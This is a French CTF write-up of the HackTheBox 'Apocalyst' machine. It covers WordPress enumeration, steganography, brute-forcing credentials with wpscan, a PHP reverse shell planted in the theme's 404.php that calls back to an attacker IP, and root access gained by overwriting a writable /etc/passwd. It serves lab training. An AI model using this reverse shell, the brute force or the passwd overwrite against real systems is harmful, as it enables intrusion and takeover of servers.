> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md).

# Compte rendu HackTheBox de Apocalyst

{% embed url="<https://app.hackthebox.com/machines/Apocalyst>" %}

{% hint style="warning" %}
**Compétences :**

* Énumération WordPress
* Défi de stéganographie d'image - Steghide
* Fuite d'informations - Énumération des utilisateurs
* Exploitation WordPress - Éditeur de thème (RCE)
* Exploitation de permissions mal configurées (élévation de privilèges)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/055332c97f54f8b14d4945e12d63eb101a59a4ae" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/ec3edd8f7dee25232ddbb88111894647b1e81be5" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.46 -oG allPorts
```

<figure><img src="/files/1f86d91ff6c8bff047ad7a9946b7b016036a03e5" alt=""><figcaption></figcaption></figure>

**Scan de versions des ports avec Nmap (22.80) :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p22,80 10.10.10.46 -oN targeted
```

<figure><img src="/files/7b2551ffbd17470d679effa3232b7c4e256c5d6f" alt=""><figcaption></figcaption></figure>

Nous détectons un site WordPress, mais la résolution de domaine est mal configurée.

<figure><img src="/files/10eb670c2df9c5a7ed373e562d6b35862459b385" alt=""><figcaption></figcaption></figure>

Nous ajoutons l'entrée suivante à */etc/hosts*:

<figure><img src="/files/c00275a8143d3085cef39596ef825b3f8285759e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1dc18c07138a4e367b30c4bd447cedb178b76263" alt="" width="563"><figcaption></figcaption></figure>

## **Exploration du site WordPress**

<figure><img src="/files/acf2cd9a6469e21d392cb8fa833b0480b7028550" alt=""><figcaption></figcaption></figure>

#### **Identifier un utilisateur valide**

Nous trouvons un utilisateur valide : **falaraki**.

<figure><img src="/files/7b86f1efc843806b852190a697d4a9fbff5f29a4" alt="" width="563"><figcaption></figcaption></figure>

#### **Exploitation SSH**

Comme la version de SSH est obsolète, nous pouvons utiliser un exploit pour valider l'utilisateur sur le système :

```bash
searchsploit -m linux/remote/45939.py
```

<figure><img src="/files/98d694ad0af04ae1fabe9c19e081dc4b9f38d7f3" alt=""><figcaption></figcaption></figure>

Valider que l'utilisateur existe :

```bash
python2 ssh_enumeration.py 10.10.10.46 falaraki 2>/dev/null
```

<figure><img src="/files/f8d13069f0362adb5661a0fcbbae7a2a68af16b3" alt=""><figcaption></figcaption></figure>

#### Donc pour WordPress :

<figure><img src="/files/8d181cfe9e8804e1861fbdf577831d0f2dc598f2" alt=""><figcaption></figcaption></figure>

### **Listage WordPress**

Nous utilisons *wfuzz* pour rechercher des répertoires intéressants :

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L
```

{% endcode %}

Ce scan détecte plusieurs pages renvoyant un code 301, redirigeant vers une image.

<figure><img src="/files/7312d54c6979bc60cbb3ce007d38ccc6e34c7c57" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2ca723ea8e1cdeec70f9659d2eca720d1faa0740" alt=""><figcaption></figcaption></figure>

Nous filtrons ensuite par la longueur du texte (157) :

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ --hh=157 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L
```

{% endcode %}

Aucun résultat intéressant.

<figure><img src="/files/7b124330c7e7431d99938930b22e89935729dd5c" alt=""><figcaption></figcaption></figure>

### **Création d'un dictionnaire personnalisé - CEWL** <a href="#custom-dictionary" id="custom-dictionary"></a>

Nous générons un dictionnaire basé sur le site web :

<figure><img src="/files/6ed7b220c0a8ce09066eb2c9c75d42c4534fca5b" alt=""><figcaption></figcaption></figure>

Utilisez **Cewl** pour générer un dictionnaire basé sur le site web :

```bash
cewl -w list.txt http://apocalyst.htb/
```

<figure><img src="/files/95f66584a614f75d0ec31ff80af27770335893bc" alt=""><figcaption></figcaption></figure>

Nouvelle reconnaissance avec *wfuzz*:

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ -w list.txt --hh=157 --hc=404 -t 200 -L
```

{% endcode %}

Nous trouvons le **`Rightiousness`** répertoire.

<figure><img src="/files/5347b559e024b98df240f3d8cac864df88d748a6" alt=""><figcaption></figcaption></figure>

### **Analyse de stéganographie avec Steghide**

Nous enregistrons l'image et l'analysons :

1. Vérification de la présence de données cachées dans l'image :

<figure><img src="/files/9b983c398b30847b55a7901b681eff74b5deef7b" alt=""><figcaption></figcaption></figure>

Vérification de la présence de données cachées dans l'image :

```bash
steghide info image.jpg
```

<figure><img src="/files/07b9c6e6f4bd90dc9e757bfc25852171c47ac661" alt="" width="563"><figcaption></figcaption></figure>

Extraction des données cachées :

```bash
steghide extract -sf image.jpg
```

<figure><img src="/files/f15e36f1952445ec2aab8305e72f51a25f239c28" alt="" width="563"><figcaption></figcaption></figure>

Un *list.txt* le fichier contenant des mots est généré

<figure><img src="/files/2b4907c601ae5165faf900e15182b18d32b16dd5" alt=""><figcaption></figcaption></figure>

### **Attaque par force brute sur WordPress**

<table data-full-width="false"><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/pages/52a2f92e8ff7cdceb9ac771d684e022d0f9a317f">/pages/52a2f92e8ff7cdceb9ac771d684e022d0f9a317f</a></td></tr></tbody></table>

<figure><img src="/files/c82051c2976494aedb84d695986232e3647915f7" alt=""><figcaption></figcaption></figure>

Nous lançons une attaque par force brute avec *wpscan*, en exploitant *xmlrpc.php* qui est actif :

```bash
wpscan --url http://apocalyst.htb -U falaraki -P list.txt
```

Nous trouvons **falaraki**mot de passe de **Transclisiation**.

<figure><img src="/files/5799d47fd013d89af42968c748ee0b6545182880" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cde2196d3fc62860c1681fed6039159bf7017913" alt=""><figcaption></figcaption></figure>

### **Exploitation WordPress - Exécution de code à distance (RCE)**

<figure><img src="/files/0e98610357a4a62ace641cc9f0ab1e0d73dad3f7" alt=""><figcaption></figcaption></figure>

Nous modifions le *404.php* fichier et y injecter un reverse shell :

```php
<?php
system("bash -c 'bash -i >& /dev/tcp/10.10.14.50/443 0>&1'")
?>
```

À l'écoute sur le port 443 :

```bash
nc -nvlp 443
```

<figure><img src="/files/48ebd756990901620c4d793560125ab6b19ae1f4" alt=""><figcaption></figcaption></figure>

Exécution du shell via *curl*:

```bash
curl -s -X GET "http://apocalyst.htb/?p=404.php"
```

<figure><img src="/files/45766b0486d34d98f35db9a7aaf3fd7b605b9437" alt=""><figcaption></figcaption></figure>

#### Session de shell améliorée :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Drapeau user.txt :)

<figure><img src="/files/39ce6d9c9623c3bfab29747a0df3935c8042284c" alt="" width="563"><figcaption></figcaption></figure>

## **Élévation de privilèges**

### **Gestion des permissions (`/etc/passwd`)**

```bash
find / -writable 2>/dev/null | grep -vE "/dev|tmp|var|run|lib|proc|sys"
```

Nous voyons que */etc/passwd* est modifiable.

<figure><img src="/files/5288c05b0a38111ac67e77f3bc0c6664e38df618" alt=""><figcaption></figcaption></figure>

Création d'un mot de passe chiffré avec OpenSSL :

```
openssl passwd -1 -salt WylYIBz9 jordan
```

<figure><img src="/files/66a6530c98ec373d0dc1a797b0a74b1dd6733073" alt=""><figcaption></figcaption></figure>

Ce qui génère :

* $1$WylYIBz9$3sZ.Aikcts/jZIpgmvnck/

Nous remplaçons la ligne root dans */etc/passwd* par notre hachage.

<figure><img src="/files/c4f8493e93ec54c2eb673e27ecb735298edf1119" alt=""><figcaption></figcaption></figure>

Connexion en tant que root :

<figure><img src="/files/97548fe55cb607130372ad65ce572abfcd995f8c" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt :)

<figure><img src="/files/31bcb5d179ba4806d003b64f11c3adbc6b0bd16d" alt="" width="545"><figcaption></figcaption></figure>

<figure><img src="/files/f1d63629842691966f770575dacaf69fba4e9abc" alt="" width="517"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
